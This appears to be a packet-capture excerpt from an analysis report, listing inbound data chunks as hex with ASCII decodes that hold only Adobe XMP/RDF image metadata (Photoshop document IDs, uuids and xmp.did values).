2022-07-20 07:08:24 UTC	3733	IN	Data Raw: 37 45 30 32 39 33 38 43 30 45 46 41 31 31 46 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 39 39 33 46 31 36 34 36 43 31 34 45 34 33 33 32 38 34 35 31 44 42 35 36 38 46 38 39 34 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 39 39 34 30 39 30 45 46 37 42 31 31 32 33 38 33 35 45 43 37 38 45 39 30 37 30 45 42 41 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 39 39 39 37 45 35 45 42 46 46 39 34 43 39 39 39 39 42 42 34 38 44 42 32 35 32 44 38 35 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 39 41 33 42 42 43 46 41 45 41 30 32 36 36 36 46 36 43 32 34 42 43 32 39 39 43 38 35 33 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 39 42 35 33 45 44 31 41 42 34 36 46 41 31 38 34 33 37 34 Data Ascii: 7E02938C0EFA11FA5</rdf:li> <rdf:li>E993F1646C14E43328451DB568F89470</rdf:li> <rdf:li>E994090EF7B1123835EC78E9070EBA38</rdf:li> <rdf:li>E9997E5EBFF94C9999BB48DB252D853B</rdf:li> <rdf:li>E9A3BBCFAEA02666F6C24BC299C8537B</rdf:li> <rdf:li>E9B53ED1AB46FA184374
2022-07-20 07:08:24 UTC	3749	IN	Data Raw: 3e 46 35 35 39 44 36 32 45 42 45 41 44 44 32 33 30 38 45 43 46 37 30 36 43 37 31 39 39 35 37 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 35 42 32 42 31 46 32 34 33 41 33 41 37 46 35 45 41 42 34 45 44 32 46 34 32 44 41 35 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 35 46 45 32 36 43 38 32 45 41 34 45 39 31 35 37 30 45 30 38 39 38 32 45 33 36 34 42 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 36 39 39 33 35 31 45 31 30 41 45 31 34 32 44 46 45 37 43 37 39 32 41 31 37 33 39 37 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 36 43 32 37 41 44 35 32 32 42 43 35 35 46 30 45 44 34 32 44 43 39 38 39 31 44 43 31 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 36 44 Data Ascii: >F559D62EBEADD2308ECF706C71995786</rdf:li> <rdf:li>F55B2B1F243A3A7F5EAB4ED2F42DA56D</rdf:li> <rdf:li>F55FE26C82EA4E91570E08982E364B8F</rdf:li> <rdf:li>F5699351E10AE142DFE7C792A17397CE</rdf:li> <rdf:li>F56C27AD522BC55F0ED42DC9891DC1ED</rdf:li> <rdf:li>F56D
2022-07-20 07:08:24 UTC	3756	IN	Data Raw: 42 39 46 32 39 42 35 31 30 33 37 31 32 39 46 34 33 30 32 43 44 38 32 39 38 39 44 33 30 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 41 30 31 37 38 44 35 36 32 39 42 44 38 32 33 38 36 45 43 37 44 36 42 36 32 34 36 37 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 41 36 38 38 32 35 34 32 33 31 39 46 30 30 43 32 34 35 39 38 34 34 43 35 33 32 35 31 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 41 39 38 44 46 38 44 45 35 33 45 33 34 30 43 44 34 33 42 32 39 43 38 34 37 44 33 38 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 41 42 45 34 38 32 46 31 45 44 33 45 39 46 30 33 31 39 46 45 35 30 35 41 30 36 41 34 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 42 41 45 37 43 Data Ascii: B9F29B51037129F4302CD82989D3016</rdf:li> <rdf:li>FBA0178D5629BD82386EC7D6B62467C6</rdf:li> <rdf:li>FBA6882542319F00C2459844C532514A</rdf:li> <rdf:li>FBA98DF8DE53E340CD43B29C847D389A</rdf:li> <rdf:li>FBABE482F1ED3E9F0319FE505A06A43A</rdf:li> <rdf:li>FBAE7C
2022-07-20 07:08:24 UTC	3772	IN	Data Raw: 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 33 38 31 64 66 36 37 2d 35 34 39 65 2d 36 38 34 62 2d 39 66 38 30 2d 64 33 64 66 37 65 63 32 65 30 33 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 33 64 34 36 31 37 32 2d 30 34 64 64 2d 31 31 37 39 2d 61 39 64 32 2d 38 38 38 36 33 65 31 66 61 37 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 34 35 30 32 37 65 65 2d 38 37 38 66 2d 31 31 65 36 2d 38 33 31 34 2d 62 63 63 39 30 31 61 35 36 30 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 34 63 36 62 63 35 36 2d 39 Data Ascii: :docid:photoshop:2381df67-549e-684b-9f80-d3df7ec2e03e</rdf:li> <rdf:li>adobe:docid:photoshop:23d46172-04dd-1179-a9d2-88863e1fa720</rdf:li> <rdf:li>adobe:docid:photoshop:245027ee-878f-11e6-8314-bcc901a5602d</rdf:li> <rdf:li>adobe:docid:photoshop:24c6bc56-9
2022-07-20 07:08:24 UTC	3788	IN	Data Raw: 36 33 63 62 34 31 33 62 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 32 61 37 35 36 62 38 2d 38 33 30 64 2d 31 31 64 38 2d 39 30 66 30 2d 61 30 65 36 39 35 66 62 31 33 65 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 32 62 39 36 62 65 65 2d 33 33 31 30 2d 31 31 37 39 2d 38 37 39 35 2d 66 61 37 38 31 65 62 65 34 37 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 32 62 64 35 38 37 32 2d 39 39 32 65 2d 31 31 64 39 2d 38 31 64 34 2d 39 62 37 64 30 31 66 39 37 32 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: 63cb413bd</rdf:li> <rdf:li>adobe:docid:photoshop:52a756b8-830d-11d8-90f0-a0e695fb13e8</rdf:li> <rdf:li>adobe:docid:photoshop:52b96bee-3310-1179-8795-fa781ebe4746</rdf:li> <rdf:li>adobe:docid:photoshop:52bd5872-992e-11d9-81d4-9b7d01f9722d</rdf:li> <rdf:li>
2022-07-20 07:08:24 UTC	3796	IN	Data Raw: 3a 36 63 63 65 65 34 30 31 2d 37 31 63 61 2d 31 31 65 31 2d 39 65 38 36 2d 63 30 38 34 62 30 62 37 37 33 38 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 63 64 66 65 63 65 38 2d 35 33 35 62 2d 31 31 37 38 2d 61 32 34 63 2d 66 31 30 32 63 35 38 30 64 64 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 63 66 30 64 30 61 36 2d 37 38 63 33 2d 31 31 64 38 2d 61 61 36 35 2d 65 33 39 61 30 35 37 31 31 34 63 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 64 32 36 66 65 61 38 2d 34 65 66 35 2d 31 31 64 37 2d 38 37 65 38 2d 64 37 Data Ascii: :6ccee401-71ca-11e1-9e86-c084b0b7738d</rdf:li> <rdf:li>adobe:docid:photoshop:6cdfece8-535b-1178-a24c-f102c580dd27</rdf:li> <rdf:li>adobe:docid:photoshop:6cf0d0a6-78c3-11d8-aa65-e39a057114c8</rdf:li> <rdf:li>adobe:docid:photoshop:6d26fea8-4ef5-11d7-87e8-d7
2022-07-20 07:08:24 UTC	3812	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 61 37 39 39 36 36 37 2d 62 30 37 36 2d 31 31 64 38 2d 39 38 34 34 2d 66 38 30 31 38 64 30 61 35 31 34 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 62 32 33 32 66 34 31 2d 65 39 31 38 2d 31 31 65 34 2d 38 32 64 66 2d 39 34 34 35 31 64 33 37 38 33 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 62 61 31 38 36 63 39 2d 61 32 35 62 2d 31 31 65 37 2d 38 31 36 33 2d 38 63 61 38 61 66 32 65 35 33 65 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 Data Ascii: i> <rdf:li>adobe:docid:photoshop:9a799667-b076-11d8-9844-f8018d0a514e</rdf:li> <rdf:li>adobe:docid:photoshop:9b232f41-e918-11e4-82df-94451d378331</rdf:li> <rdf:li>adobe:docid:photoshop:9ba186c9-a25b-11e7-8163-8ca8af2e53e5</rdf:li> <rdf:li>adobe:docid:phot
2022-07-20 07:08:24 UTC	3828	IN	Data Raw: 66 33 2d 31 31 64 66 2d 61 33 37 39 2d 63 64 64 66 64 65 30 64 62 65 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 66 66 32 31 32 61 63 2d 38 63 66 33 2d 31 31 65 37 2d 62 33 30 63 2d 38 61 65 39 35 36 34 31 35 32 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 30 37 32 32 36 37 35 2d 34 64 63 64 2d 31 31 65 32 2d 61 30 62 66 2d 39 64 33 64 39 62 34 38 63 34 30 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 30 65 36 61 34 31 39 2d 39 65 62 34 2d 31 31 37 37 2d 62 62 66 61 2d 39 36 38 62 61 38 63 37 37 33 30 30 3c 2f Data Ascii: f3-11df-a379-cddfde0dbe41</rdf:li> <rdf:li>adobe:docid:photoshop:cff212ac-8cf3-11e7-b30c-8ae956415209</rdf:li> <rdf:li>adobe:docid:photoshop:d0722675-4dcd-11e2-a0bf-9d3d9b48c40e</rdf:li> <rdf:li>adobe:docid:photoshop:d0e6a419-9eb4-1177-bbfa-968ba8c77300</
2022-07-20 07:08:24 UTC	3836	IN	Data Raw: 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 38 63 66 31 39 30 35 2d 64 32 64 65 2d 31 31 65 37 2d 39 61 65 65 2d 38 61 30 38 33 36 38 66 34 36 38 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 38 64 37 30 64 65 35 2d 61 65 63 38 2d 31 31 64 39 2d 38 62 35 37 2d 38 63 61 61 35 33 61 38 34 31 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 39 31 37 36 38 37 38 2d 34 61 39 65 2d 31 31 37 38 2d 61 32 34 63 2d 66 31 30 32 63 35 38 30 64 64 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 39 33 31 61 66 39 Data Ascii: obe:docid:photoshop:e8cf1905-d2de-11e7-9aee-8a08368f468c</rdf:li> <rdf:li>adobe:docid:photoshop:e8d70de5-aec8-11d9-8b57-8caa53a841c7</rdf:li> <rdf:li>adobe:docid:photoshop:e9176878-4a9e-1178-a24c-f102c580dd27</rdf:li> <rdf:li>adobe:docid:photoshop:e931af9
2022-07-20 07:08:24 UTC	3852	IN	Data Raw: 30 43 31 45 34 44 44 36 31 31 44 45 39 46 34 31 42 36 46 46 35 37 45 34 44 31 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 43 41 43 38 43 30 33 38 38 34 34 44 45 31 31 41 34 41 36 38 31 36 38 44 37 34 32 41 36 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 43 43 34 35 41 39 38 33 45 38 46 44 44 31 31 38 33 37 35 44 42 38 46 44 36 45 37 31 41 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 43 46 33 32 31 38 30 38 38 43 43 44 46 31 31 38 32 30 45 38 34 46 31 46 38 39 44 31 42 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 44 31 46 31 34 33 43 35 33 31 44 45 30 31 31 41 41 38 44 42 45 42 44 42 36 46 38 38 30 35 32 3c 2f 72 64 66 3a 6c Data Ascii: 0C1E4DD611DE9F41B6FF57E4D162</rdf:li> <rdf:li>uuid:1CAC8C038844DE11A4A68168D742A657</rdf:li> <rdf:li>uuid:1CC45A983E8FDD118375DB8FD6E71A63</rdf:li> <rdf:li>uuid:1CF3218088CCDF11820E84F1F89D1BC6</rdf:li> <rdf:li>uuid:1D1F143C531DE011AA8DBEBDB6F88052</rdf:l
2022-07-20 07:08:24 UTC	4977	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 33 30 36 42 39 34 31 32 32 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 33 34 34 42 35 31 37 44 41 30 43 44 45 31 31 41 42 37 36 38 30 36 44 38 46 34 31 31 39 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 33 45 34 45 35 30 33 35 36 43 45 44 42 31 31 41 43 45 44 43 46 45 45 44 39 35 44 42 44 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 33 46 32 31 46 39 41 31 38 35 38 45 30 31 31 41 36 30 41 41 30 31 37 36 36 34 35 46 39 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 33 46 33 42 39 42 44 42 39 30 37 45 31 31 31 38 Data Ascii: :li> <rdf:li>uuid:5306B9412231E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:5344B517DA0CDE11AB76806D8F41191A</rdf:li> <rdf:li>uuid:53E4E50356CEDB11ACEDCFEED95DBD40</rdf:li> <rdf:li>uuid:53F21F9A1858E011A60AA0176645F9EE</rdf:li> <rdf:li>uuid:53F3B9BDB907E1118
2022-07-20 07:08:24 UTC	4985	IN	Data Raw: 37 30 43 31 31 44 45 41 45 41 38 44 31 41 31 41 33 46 37 46 43 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 43 30 41 43 34 30 38 35 45 45 30 45 30 31 31 38 44 39 39 44 31 33 36 42 33 30 35 35 33 44 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 43 31 33 32 46 36 33 44 43 32 45 45 30 31 31 41 32 41 45 46 30 37 39 34 35 43 39 32 35 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 43 32 32 44 44 36 35 46 31 33 42 45 31 31 31 42 32 37 32 45 46 35 37 41 34 35 44 44 37 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 43 32 42 37 33 34 46 33 32 35 32 44 43 31 31 41 34 34 43 43 42 45 37 34 33 33 33 34 36 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: 70C11DEAEA8D1A1A3F7FCE5</rdf:li> <rdf:li>uuid:6C0AC4085EE0E0118D99D136B30553D5</rdf:li> <rdf:li>uuid:6C132F63DC2EE011A2AEF07945C92559</rdf:li> <rdf:li>uuid:6C22DD65F13BE111B272EF57A45DD746</rdf:li> <rdf:li>uuid:6C2B734F3252DC11A44CCBE7433346B6</rdf:li> <r
2022-07-20 07:08:24 UTC	5001	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 43 36 42 39 31 33 34 33 33 31 31 44 44 31 31 39 37 44 38 41 31 39 43 37 39 35 36 32 44 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 43 38 43 36 44 31 35 41 42 38 44 31 31 45 31 42 31 45 38 39 45 31 46 30 42 30 38 42 44 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 43 39 31 31 42 38 37 35 36 35 38 31 31 44 43 39 38 33 38 38 33 42 31 31 43 39 31 37 43 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 43 45 34 41 34 46 36 35 46 41 45 44 43 31 31 39 46 45 36 41 38 37 31 44 31 39 41 31 45 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 43 46 44 30 46 30 31 45 41 34 30 45 32 31 31 41 Data Ascii: :li> <rdf:li>uuid:9C6B91343311DD1197D8A19C79562DAA</rdf:li> <rdf:li>uuid:9C8C6D15AB8D11E1B1E89E1F0B08BD72</rdf:li> <rdf:li>uuid:9C911B87565811DC983883B11C917CA3</rdf:li> <rdf:li>uuid:9CE4A4F65FAEDC119FE6A871D19A1E4D</rdf:li> <rdf:li>uuid:9CFD0F01EA40E211A
2022-07-20 07:08:24 UTC	5017	IN	Data Raw: 43 35 30 42 32 46 42 31 31 44 44 41 42 34 46 45 36 33 31 43 38 44 31 33 34 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 39 33 39 42 33 32 45 38 43 30 34 44 45 31 31 38 30 39 32 38 46 45 45 30 33 30 35 42 41 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 39 42 43 33 35 31 45 36 39 45 38 44 44 31 31 42 43 44 34 43 31 44 36 45 42 45 42 31 30 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 41 32 30 43 44 43 39 32 33 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 41 36 33 34 45 38 44 37 34 43 42 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 Data Ascii: C50B2FB11DDAB4FE631C8D13434</rdf:li> <rdf:li>uuid:D939B32E8C04DE1180928FEE0305BA35</rdf:li> <rdf:li>uuid:D9BC351E69E8DD11BCD4C1D6EBEB1005</rdf:li> <rdf:li>uuid:DA20CDC92331E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:DA634E8D74CBE011B3FED24831848F59</rdf:li
2022-07-20 07:08:24 UTC	5025	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 36 30 34 43 30 43 45 44 38 36 33 45 31 31 31 38 35 46 44 46 38 34 32 37 42 34 30 37 44 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 36 36 39 32 46 36 32 32 35 42 46 44 42 31 31 38 38 44 34 42 31 34 41 39 34 39 44 34 44 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 36 37 33 39 46 35 38 44 41 34 33 31 31 45 30 41 34 37 31 39 35 30 39 37 45 33 44 31 37 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 36 44 32 42 37 36 46 43 46 42 37 45 34 31 31 38 38 33 39 42 42 45 35 46 30 39 36 33 32 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 36 45 31 42 35 33 34 31 43 42 35 44 Data Ascii: /rdf:li> <rdf:li>uuid:F604C0CED863E11185FDF8427B407DE6</rdf:li> <rdf:li>uuid:F6692F6225BFDB1188D4B14A949D4D6A</rdf:li> <rdf:li>uuid:F6739F58DA4311E0A47195097E3D1770</rdf:li> <rdf:li>uuid:F6D2B76FCFB7E4118839BBE5F0963273</rdf:li> <rdf:li>uuid:F6E1B5341CB5D
2022-07-20 07:08:24 UTC	5041	IN	Data Raw: 41 41 35 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 41 43 37 44 35 44 34 45 39 32 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 42 46 34 41 35 34 43 35 45 39 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 43 30 35 32 46 46 42 33 37 32 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 32 32 41 43 34 41 33 41 45 46 32 37 31 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: AA52A</rdf:li> <rdf:li>xmp.did:0280117407206811822AAC7D5D4E92A8</rdf:li> <rdf:li>xmp.did:0280117407206811822ABF4A54C5E908</rdf:li> <rdf:li>xmp.did:0280117407206811822AC052FFB372EB</rdf:li> <rdf:li>xmp.did:0280117407206811822AC4A3AEF271C5</rdf:li> <rdf:li>
2022-07-20 07:08:24 UTC	5057	IN	Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 38 41 36 44 36 42 42 39 34 32 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 38 43 37 34 36 30 30 39 30 43 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 39 39 39 44 32 36 44 39 44 46 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 42 32 30 45 33 44 41 45 37 39 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 Data Ascii: f:li>xmp.did:068011740720681188C68A6D6BB942FA</rdf:li> <rdf:li>xmp.did:068011740720681188C68C7460090C9A</rdf:li> <rdf:li>xmp.did:06801174072068118A6D999D26D9DFD0</rdf:li> <rdf:li>xmp.did:06801174072068118A6DB20E3DAE7970</rdf:li> <rdf:li>xmp.did:0680117407
2022-07-20 07:08:24 UTC	5064	IN	Data Raw: 64 35 65 38 37 2d 36 64 64 61 2d 34 39 36 31 2d 39 38 65 32 2d 62 61 39 37 38 31 38 38 63 66 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 39 34 32 33 66 30 2d 66 35 30 61 2d 32 39 34 66 2d 39 34 38 32 2d 37 38 34 63 37 33 33 66 66 39 66 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 41 37 38 32 44 42 30 45 32 30 36 38 31 31 39 33 30 41 42 37 45 41 33 39 41 38 34 30 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 41 43 44 33 44 32 43 42 39 32 45 30 31 31 38 33 38 33 41 37 30 37 39 32 43 43 46 45 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 38 42 38 35 33 37 41 39 38 38 32 45 32 31 31 41 45 Data Ascii: d5e87-6dda-4961-98e2-ba978188cf77</rdf:li> <rdf:li>xmp.did:089423f0-f50a-294f-9482-784c733ff9fa</rdf:li> <rdf:li>xmp.did:08A782DB0E206811930AB7EA39A8405C</rdf:li> <rdf:li>xmp.did:08ACD3D2CB92E0118383A70792CCFEF7</rdf:li> <rdf:li>xmp.did:08B8537A9882E211AE
2022-07-20 07:08:24 UTC	5080	IN	Data Raw: 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 36 35 39 42 31 31 42 43 43 32 30 36 38 31 31 38 41 36 44 39 39 30 33 46 36 36 44 38 35 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 36 35 45 46 45 33 34 33 31 32 30 36 38 31 31 38 38 43 36 41 42 44 44 36 41 45 37 31 35 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 36 36 34 65 63 63 65 2d 61 65 64 65 2d 38 39 34 38 2d 38 33 32 31 2d 32 37 63 66 64 30 37 61 33 63 64 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 36 36 38 63 37 66 33 2d 39 65 61 61 2d 34 62 61 34 2d 38 61 38 32 2d 36 34 31 35 30 34 38 36 30 66 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 Data Ascii: <rdf:li>xmp.did:1659B11BCC2068118A6D9903F66D8554</rdf:li> <rdf:li>xmp.did:165EFE343120681188C6ABDD6AE715D6</rdf:li> <rdf:li>xmp.did:1664ecce-aede-8948-8321-27cfd07a3cd9</rdf:li> <rdf:li>xmp.did:1668c7f3-9eaa-4ba4-8a82-641504860f55</rdf:li> <rdf:li>xmp.did
